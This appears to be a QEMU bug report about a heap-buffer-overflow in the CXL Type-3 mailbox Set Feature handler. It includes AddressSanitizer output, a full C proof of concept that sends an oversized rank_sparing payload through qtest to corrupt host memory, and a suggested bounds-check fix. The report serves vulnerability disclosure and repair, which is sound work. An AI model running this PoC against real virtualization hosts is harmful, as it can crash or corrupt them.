hw/cxl: cmd_features_set_feature() still allows oversized writes in remaining Set Feature branches
I can still trigger a host-side AddressSanitizer heap-buffer-overflow in current QEMU master through the CXL Type-3 mailbox Set Feature path. This is not the same already-fixed case as commit `c1c4d6b38b13952b0a9e2d7393e1ccc70b2615a4` ("hw/cxl: Check that writes do not go beyond end of target attributes"). That change added bounds checks for the `patrol_scrub` and `ecs` Set Feature branches, but the remaining branches still lack the same offset+length validation. I reproduced this on current master in the following environment: - host: x86_64 - commit: `aa15257174da180c6a8a9d58f87319cfe61c5520` - describe: `v11.0.0-269-gaa15257174` - build: `../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu` The remaining vulnerable Set Feature branches include at least: - `soft_ppr` - `hard_ppr` - `cacheline_sparing` - `row_sparing` - `bank_sparing` - `rank_sparing` On current master, the attached PoC drives the `rank_sparing` branch with a full 2048-byte mailbox payload. The target object is only `CXLMemSparingWriteAttrs`, so the unchecked `memcpy()` overruns the write attribute storage and ASan aborts the host process. ASan output: ```text ==1800002==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x77a1779ff380 at pc 0x77a19763a2c3 bp 0x7ffe3b86ecb0 sp 0x7ffe3b86e458 WRITE of size 2016 at 0x77a1779ff380 thread T0 #0 0x77a19763a2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 #1 0x566447f0a0fc in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29 #2 0x566447f0a0fc in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1908 #3 0x566447f0a0fc in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1706 #4 0x566447f16c67 in cxl_process_cci_message ../hw/cxl/cxl-mailbox-utils.c:4622 #5 0x566447ee239f in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:209 #6 0x566448a162b1 in memory_region_write_accessor ../system/memory.c:492 #7 0x566448a20cb5 in access_with_adjusted_size ../system/memory.c:568 #8 0x566448a269c1 in memory_region_dispatch_write ../system/memory.c:1555 #9 0x566448a619eb in flatview_write_continue_step ../system/physmem.c:3263 #10 0x566448a61f20 in flatview_write_continue ../system/physmem.c:3293 #11 0x566448a61f20 in flatview_write ../system/physmem.c:3324 #12 0x566448a64118 in address_space_write ../system/physmem.c:3444 #13 0x566448a7d944 in qtest_process_command ../system/qtest.c:538 #14 0x566448a81ca7 in qtest_process_inbuf ../system/qtest.c:778 #15 0x5664496fd0f7 in tcp_chr_read ../chardev/char-socket.c:511 #16 0x77a197160c43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43) SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy ``` PoC: ```c #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <poll.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/un.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define CXL_T3_BAR2 0x10000000ULL #define MAILBOX_BASE (CXL_T3_BAR2 + 0x88) #define PAYLOAD_BASE (MAILBOX_BASE + 0x20) static const uint8_t rank_sparing_uuid[16] = { 0x34, 0xdb, 0xaf, 0xf5, 0x05, 0x52, 0x42, 0x81, 0x8f, 0x76, 0xda, 0x0b, 0x5e, 0x7a, 0x76, 0xa7, }; static void die(const char *msg) { perror(msg); exit(1); } static void xwrite_all(int fd, const char *buf, size_t len) { while (len) { ssize_t n = write(fd, buf, len); if (n < 0) { if (errno == EINTR) { continue; } die("write"); } buf += n; len -= n; } } static void qtest_cmd(int fd, const char *fmt, ...) { char cmd[256]; char reply[256]; va_list ap; size_t off = 0; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); xwrite_all(fd, cmd, strlen(cmd)); xwrite_all(fd, "\n", 1); while (off + 1 < sizeof(reply)) { ssize_t n = read(fd, &reply[off], 1); if (n < 0) { if (errno == EINTR) { continue; } die("read"); } if (n == 0) { fprintf(stderr, "qtest socket closed after command: %s\n", cmd); exit(1); } if (reply[off] == '\n') { reply[off] = '\0'; break; } off++; } if (strncmp(reply, "OK", 2) != 0) { fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply); exit(1); } } static void make_file(const char *path, off_t size) { int fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0600); if (fd < 0) { die("open backing file"); } if (ftruncate(fd, size) < 0) { die("ftruncate"); } close(fd); } static pid_t spawn_qemu(const char *qemu, const char *sock_path, const char *mem_path, const char *lsa_path) { pid_t pid = fork(); if (pid < 0) { die("fork"); } if (pid == 0) { char *argv[] = { (char *)qemu, "-machine", "q35,cxl=on,accel=qtest", "-display", "none", "-nodefaults", "-monitor", "none", "-serial", "none", "-qtest", NULL, "-object", NULL, "-object", NULL, "-device", "cxl-type3,bus=pcie.0,persistent-memdev=cxl-mem0,lsa=lsa0,id=pmem0", NULL, }; char qtest_arg[256]; char mem_arg[512]; char lsa_arg[512]; snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path); snprintf(mem_arg, sizeof(mem_arg), "memory-backend-file,id=cxl-mem0,mem-path=%s,size=256M", mem_path); snprintf(lsa_arg, sizeof(lsa_arg), "memory-backend-file,id=lsa0,mem-path=%s,size=1M", lsa_path); argv[11] = qtest_arg; argv[13] = mem_arg; argv[15] = lsa_arg; unsetenv("QTEST_LOG"); unsetenv("QTEST_TRACE"); execvp(qemu, argv); perror("execvp"); _exit(1); } return pid; } int main(int argc, char **argv) { char tmpdir[] = "/tmp/cxloobXXXXXX"; char sock_path[256]; char mem_path[256]; char lsa_path[256]; struct sockaddr_un addr; struct pollfd pfd; uint8_t payload[2048] = { 0 }; int server_fd, conn_fd; pid_t pid; int status; const char *qemu = argc > 1 ? argv[1] : "qemu-system-x86_64"; size_t i; if (!mkdtemp(tmpdir)) { die("mkdtemp"); } snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir); snprintf(mem_path, sizeof(mem_path), "%s/mem0.bin", tmpdir); snprintf(lsa_path, sizeof(lsa_path), "%s/lsa0.bin", tmpdir); make_file(mem_path, 256 * 1024 * 1024); make_file(lsa_path, 1024 * 1024); server_fd = socket(AF_UNIX, SOCK_STREAM, 0); if (server_fd < 0) { die("socket"); } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; if (strlen(sock_path) >= sizeof(addr.sun_path)) { fprintf(stderr, "socket path too long\n"); return 1; } memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1); unlink(sock_path); if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { die("bind"); } if (listen(server_fd, 1) < 0) { die("listen"); } pid = spawn_qemu(qemu, sock_path, mem_path, lsa_path); conn_fd = accept(server_fd, NULL, NULL); if (conn_fd < 0) { die("accept"); } qtest_cmd(conn_fd, "outl 0xcf8 0x80000818"); qtest_cmd(conn_fd, "outl 0xcfc 0x%08x", (unsigned)CXL_T3_BAR2); qtest_cmd(conn_fd, "outl 0xcf8 0x8000081c"); qtest_cmd(conn_fd, "outl 0xcfc 0x00000000"); qtest_cmd(conn_fd, "outl 0xcf8 0x80000804"); qtest_cmd(conn_fd, "outl 0xcfc 0x00000002"); memcpy(payload, rank_sparing_uuid, sizeof(rank_sparing_uuid)); payload[22] = 1; memset(payload + 32, 0x41, sizeof(payload) - 32); for (i = 0; i < sizeof(payload); i++) { qtest_cmd(conn_fd, "writeb 0x%llx 0x%02x", (unsigned long long)(PAYLOAD_BASE + i), payload[i]); } qtest_cmd(conn_fd, "writeq 0x10000090 0x8000502"); qtest_cmd(conn_fd, "writel 0x1000008c 0x1"); pfd.fd = conn_fd; pfd.events = POLLIN | POLLHUP | POLLERR; poll(&pfd, 1, 500); if (waitpid(pid, &status, WNOHANG) == 0) { fprintf(stderr, "QEMU is still alive. The build is likely patched.\n"); kill(pid, SIGTERM); waitpid(pid, &status, 0); return 0; } if (WIFSIGNALED(status)) { fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status)); } else if (WIFEXITED(status)) { fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status)); } close(conn_fd); close(server_fd); unlink(sock_path); unlink(mem_path); unlink(lsa_path); rmdir(tmpdir); return 0; } ``` Build and run: ```text gcc -O2 -Wall -Wextra -o qemu-cxl-rank-sparing-oob-poc qemu-cxl-rank-sparing-oob-poc.c ./qemu-cxl-rank-sparing-oob-poc ./build-asan/qemu-system-x86_64 ``` Suggested fix: The minimal fix is to extend the same per-branch offset+payload-length validation already used by `patrol_scrub` and `ecs` to the remaining Set Feature branches, so oversized requests fail with `CXL_MBOX_INVALID_PAYLOAD_LENGTH` instead of overflowing the target write-attribute buffer. In practice that means computing the covered range once: ```c size_t end_offset = (size_t)hdr->offset + bytes_to_copy; ``` and then applying the corresponding check before each `memcpy()` in the remaining branches, for example: ```c if (end_offset > sizeof(ct3d->rank_sparing_wr_attrs)) { return CXL_MBOX_INVALID_PAYLOAD_LENGTH; } ``` The same pattern should be applied to at least: - `soft_ppr` - `hard_ppr` - `cacheline_sparing` - `row_sparing` - `bank_sparing` - `rank_sparing`
issue